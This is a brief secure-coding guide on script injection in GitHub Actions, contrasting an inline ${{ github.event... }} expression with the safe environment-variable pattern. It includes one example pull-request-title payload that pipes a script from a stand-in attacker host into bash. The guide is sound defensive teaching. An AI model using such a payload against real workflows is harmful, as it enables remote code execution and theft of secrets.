How to prevent script injection attacks in GitHub Actions
script injection, untrusted input, github.event context, intermediate env variable pattern, expression injection, pull request title attack, hardening steps
What is Script Injection?
Script injection occurs when untrusted data from a GitHub event (like a pull request title) is interpolated directly into a run step. An attacker can craft input that breaks out of the shell command and executes arbitrary code in your workflow.
Vulnerable Pattern
# DANGEROUS — never do this
- run: echo "PR title: ${{ github.event.pull_request.title }}"If a PR title contains "; curl attacker.com/steal.sh | bash; echo ", the shell executes that command.
Safe Pattern — Intermediate Environment Variable
# SAFE — expression resolves to env var, not inline shell
- name: Print PR title safely
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "PR title: $PR_TITLE"When the expression is assigned to an environment variable, the shell sees it as data, not code. The variable is never interpreted as a command. Apply this pattern to all untrusted inputs: PR titles, branch names, issue bodies, and commit messages. Never pass github.event.* values directly inside run blocks.
